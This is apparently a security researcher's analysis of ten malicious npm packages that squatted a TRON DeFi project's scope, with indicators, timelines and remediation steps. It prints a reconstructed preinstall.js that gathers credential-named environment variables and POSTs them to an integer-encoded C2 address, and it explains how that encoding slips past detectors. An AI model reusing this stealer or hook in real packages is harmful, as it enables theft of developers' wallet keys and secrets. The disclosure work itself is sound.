On September 3, 2026, Amazon Inspector filed ten OSV advisories against packages under @quantixfinance. Every advisory pointed at the same preinstall.js hash. A few of them also named different C2 IP addresses for that same file. We started there, because both claims cannot be true at once.
The SHA256 values recovered from the OSV evidence_files blocks are identical across the whole cluster:
SHA256: 5ba35e7025a373dac1380e610b797be1612a10b86f792fe5118e4f25ee688686
TLSH: 8e21ba4af5bcf3b641a252b450cbc021a97fa40323c189a76b7c41d5ff468dc65634bbIf the file bytes are the same, the hardcoded destination has to be the same. Three advisories, for contracts, tron, and wallet, decode the integer host 759017974 to 45.61.177.246. We ran that decode ourselves:
import struct, socket
socket.inet_ntoa(struct.pack(">I", 759017974))
# '45.61.177.246'The other seven advisories still print different IPv4 addresses next to that same integer. Given the shared hash, the cleanest reading is that Inspector reported whatever destination each sandbox reached during detonation, while the literal in the source stays 759017974, which resolves to 45.61.177.246.
Registry findings
Quantix Finance is a live TRON DeFi protocol. QFI is a TRC20 token, listed on BitMart and MEXC, and was sitting near a $59M market cap when these packages appeared. The project keeps a public footprint on quantixfinance.xyz, X, and Telegram. What it had not done is register @quantixfinance on npm.
An attacker did. The publisher account is named quantixfinance. The email recovered from _npmUser on @quantixfinance/contracts is tim@biggoodgod.com, and biggoodgod.com has no A or AAAA records. That is the shape of a throwaway identity built for one publish session.
Under that scope, the operator put up ten packages that look like pieces of a private DeFi monorepo:
The package names are api, common, config, contracts, sdk, supabase, token, tron, ui, and wallet. Amazon Inspector’s advisory for @quantixfinance/supabase already noted that the scoped naming looks like an internal organization package, the kind of shape that shows up in dependency-confusion cases. Looking at the full list, that reading holds. These are not typosquats of popular libraries. They are the names a TRON DeFi team would expect to see inside its own workspace.
Each package also ships a small index.js that matches the claimed purpose on the surface. From the OSV evidence blocks and advisory text:
| Package | What index.js exports |
|---|---|
@quantixfinance/api | Empty get, post, put, and delete helpers |
@quantixfinance/sdk | A hollow QuantixSDK class and createClient stub |
@quantixfinance/supabase | A no-op createClient |
@quantixfinance/ui | Empty Button, Input, and Card functions |
@quantixfinance/wallet | A 67-byte no-op |
@quantixfinance/token | No-op token helpers |
@quantixfinance/tron | A two-line stub |
@quantixfinance/contracts | A stub cover; the registry listed five files in the tarball |
@quantixfinance/common | A stub |
@quantixfinance/config | A stub |
The part that matters is the lifecycle hook. Registry metadata for @quantixfinance/contracts still had the scripts block:
"scripts": {
"preinstall": "node preinstall.js"
}preinstall runs before npm writes the package into node_modules. The only reliable way to skip it is --ignore-scripts.
The same contracts record also preserved the publisher’s toolchain: Node 22.18.0 and npm 10.9.3. There were no declared forward dependencies. We checked deps.dev and npm dependents for api, contracts, sdk, and wallet, and found no indexed reverse dependents before the packages disappeared.
Install-time behavior
By the time we went looking for tarballs, every download URL returned 404. What follows is reconstructed from the Amazon Inspector sandbox notes attached to the ten OSV advisories, not from a local extract.
The most complete keyword list shows up in the @quantixfinance/wallet advisory (MAL-2026-15857):
key, secret, token, pass, mnemonic, seed, private, wallet,
api, rpc, infura, alchemy, supabase, database, deploy,
vercel, railway, tron, contract, env, urlOn install, the script walks process.env, keeps any variable whose name matches one of those substrings, and adds the hostname, current working directory, and Node version. It then POSTs that JSON blob to the integer-encoded host on port 61289. Failures are caught and ignored, so a dead C2 does not break the install.
The @quantixfinance/sdk advisory (MAL-2026-15852) also preserved a path sample:
/0471e9cef36a6718b0f2bfdbec06bd82/47acfe667ff0162697f4af03/54c960d45ce346f9/rThat breaks down to /<32-hex>/<24-hex>/<16-hex>/r. We searched OSSF malicious-packages, urlscan.io, and VirusTotal for the pattern and did not find earlier reporting.
Two of the keywords are worth calling out. Combining url with database or supabase is a good way to catch connection strings that already embed passwords. contract is more specific to this target set and will match names like CONTRACT_ADDRESS or DEPLOY_CONTRACT_KEY.
const http = require("http");
const os = require("os");
const KEYWORDS = [
"key", "secret", "token", "pass", "mnemonic", "seed", "private",
"wallet", "rpc", "infura", "alchemy", "supabase", "database",
"vercel", "railway", "api", "env", "url", "contract", "tron", "deploy",
];
const env = {};
for (const [k, v] of Object.entries(process.env)) {
const lower = k.toLowerCase();
if (KEYWORDS.some((kw) => lower.includes(kw))) env[k] = v;
}
const payload = JSON.stringify({
env,
hostname: os.hostname(),
cwd: process.cwd(),
nodeVersion: process.version,
});
const req = http.request({
host: 759017974,
port: 61289,
path: "/<per-victim-hex>/r",
method: "POST",
headers: { "Content-Type": "application/json" },
});
req.on("error", () => {});
req.write(payload);
req.end();The README that came through on the contracts registry record is short and plausible enough to pass a quick glance:
# @quantixfinance/contracts
Smart contract ABIs and utilities for Quantix Finance
## Installation
npm install @quantixfinance/contracts
## Usage
const contracts = require('@quantixfinance/contracts');
## License
MITThe keywords on that same record were quantix, quantixfinance, qfi, finance, crypto, and contracts, so a search for the project name on npm would have surfaced the package.
Host encoding
Node’s http.request will accept a 32-bit integer as the host value and open a connection to the matching IPv4 address. That is an awkward property if you are writing detectors that only look for dotted-quad strings, because the source never contains 45.61.177.246 as text.
Port 61289 does not show up in earlier OSSF malicious-packages advisories. A code-index search for 61289 returned no matches either. At analysis time we probed 45.61.177.246:61289 and two of the other Inspector-reported endpoints with curl --max-time 3. All of them timed out.
We also pivoted the publisher email domain, the npm username, and the port through OSSF malicious-packages, the KMSEC DPRK research feed at dprk-research.kmsec.uk, and GitHub user/org search. Nothing came back. After npm took over the account, the surviving contracts metadata listed npm-support as maintainer. From the pivots we had, this cluster does not line up with a previously documented campaign.
Publish timestamps
Enough registry time metadata survived on contracts and token to rebuild the session.
| Event | Timestamp (UTC) | Source |
|---|---|---|
contracts@1.0.0 published | 2026-09-03T08:36:29.889Z | npm time.1.0.0 |
token@1.0.0 published | 2026-09-03T08:36:33.887Z | npm time.1.0.0 |
| Remaining eight packages | ~2026-09-03T08:36-08:38Z | Same session |
token@1.0.1 published | 2026-09-03T08:42:27.518Z | npm time.1.0.1 |
token unpublished (both versions) | 2026-09-03T08:56:54.355Z | npm unpublished.time |
| First Inspector advisory | 2026-09-03T15:51:07Z | OSV MAL-2026-15848 |
| Last advisory in batch | 2026-09-03T15:52:25Z | OSV MAL-2026-15850 |
contracts and token landed four seconds apart. The OSV IDs themselves, MAL-2026-15848 through MAL-2026-15857, were filed in a 78-second window later that day.
The _npmOperationalInternal.tmp field on contracts still contained the publish tool’s staging path:
tmp/contracts_1.0.0_1788424589748_0.29357668485525834The 13-digit stamp 1788424589748 decodes to 2026-09-03T08:36:29.748Z, which is 141 milliseconds before the registry publish timestamp. That is the publisher machine’s local clock at the moment npm staged the tarball.
One package behaves differently from the rest. token@1.0.1 showed up 354 seconds after 1.0.0, and both versions were unpublished by the operator at 08:56:54, hours before Inspector filed anything. MAL-2026-15854 only covers 1.0.0. The 1.0.1 tarball is gone, so we do not know what changed between those two versions.
From the first publish to the first advisory, the packages were live for seven hours and fifteen minutes.
If you installed these packages
This is install-time credential theft, so the machine that ran npm install is the one that matters.
grep -r "@quantixfinance" package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/nullfind . -path "*/node_modules/@quantixfinance" -maxdepth 4 2>/dev/nullIf either command finds a hit, remove the package and rotate in this order:
- Wallet mnemonics and private keys
- RPC credentials (Infura, Alchemy, TRON node RPC)
- Contract admin and deployment keys
- Supabase service role and anon keys
- Vercel and Railway tokens
- GitHub Actions and npm tokens
If the install happened in CI between 08:36 and 15:52 UTC on September 3, 2026, rotate every secret that pipeline could have touched in that window. Remember that preinstall fires before node_modules is written, so uninstalling afterward does not undo the theft. If a mnemonic was in the environment, move funds to a wallet generated on an air-gapped machine.
Indicators
| Indicator | Type | Value | Method |
|---|---|---|---|
@quantixfinance/api | npm package | 1.0.0 | OSV MAL-2026-15848 |
@quantixfinance/common | npm package | 1.0.0 | OSV MAL-2026-15849 |
@quantixfinance/config | npm package | 1.0.0 | OSV MAL-2026-15850 |
@quantixfinance/contracts | npm package | 1.0.0 | OSV MAL-2026-15851; registry metadata recovered during triage |
@quantixfinance/sdk | npm package | 1.0.0 | OSV MAL-2026-15852; C2 path recovered from advisory text |
@quantixfinance/supabase | npm package | 1.0.0 | OSV MAL-2026-15853 |
@quantixfinance/token | npm package | 1.0.0, 1.0.1 | MAL-2026-15854 covers 1.0.0; 1.0.1 seen only in registry time data |
@quantixfinance/tron | npm package | 1.0.0 | OSV MAL-2026-15855 |
@quantixfinance/ui | npm package | 1.0.0 | OSV MAL-2026-15856 |
@quantixfinance/wallet | npm package | 1.0.0 | OSV MAL-2026-15857; fullest keyword list |
preinstall.js | Malicious file | SHA256 5ba35e7025a373dac1380e610b797be1612a10b86f792fe5118e4f25ee688686 | OSV evidence_files; TLSH identical across all ten packages |
45.61.177.246:61289 | C2 endpoint | Integer host 759017974 | Decoded from the literal; confirmed in contracts/tron/wallet advisories; probed offline |
| C2 path pattern | Exfil path | /<32-hex>/<24-hex>/<16-hex>/r | Recovered from MAL-2026-15852 advisory text |
tim@biggoodgod.com | Publisher identity | npm user quantixfinance | Pulled from registry _npmUser on contracts |
biggoodgod.com | Email domain | non-resolving | DNS lookup returned no A or AAAA records |
| Staging path | Dropper artifact | tmp/contracts_1.0.0_1788424589748_0.29357668485525834 | Recovered from _npmOperationalInternal.tmp |
Affected versions
| Package | Version | Published (UTC) | Status | OSV |
|---|---|---|---|---|
@quantixfinance/api | 1.0.0 | 2026-09-03 ~08:36Z | Unpublished | MAL-2026-15848 |
@quantixfinance/common | 1.0.0 | 2026-09-03 ~08:36Z | Unpublished | MAL-2026-15849 |
@quantixfinance/config | 1.0.0 | 2026-09-03 ~08:36Z | Unpublished | MAL-2026-15850 |
@quantixfinance/contracts | 1.0.0 | 2026-09-03T08:36:29.889Z | Unpublished | MAL-2026-15851 |
@quantixfinance/sdk | 1.0.0 | 2026-09-03 ~08:36Z | Unpublished | MAL-2026-15852 |
@quantixfinance/supabase | 1.0.0 | 2026-09-03 ~08:36Z | Unpublished | MAL-2026-15853 |
@quantixfinance/token | 1.0.0 | 2026-09-03T08:36:33.887Z | Unpublished | MAL-2026-15854 |
@quantixfinance/token | 1.0.1 | 2026-09-03T08:42:27.518Z | Unpublished (no OSV) | n/a |
@quantixfinance/tron | 1.0.0 | 2026-09-03 ~08:36Z | Unpublished | MAL-2026-15855 |
@quantixfinance/ui | 1.0.0 | 2026-09-03 ~08:36Z | Unpublished | MAL-2026-15856 |
@quantixfinance/wallet | 1.0.0 | 2026-09-03 ~08:36Z | Unpublished | MAL-2026-15857 |
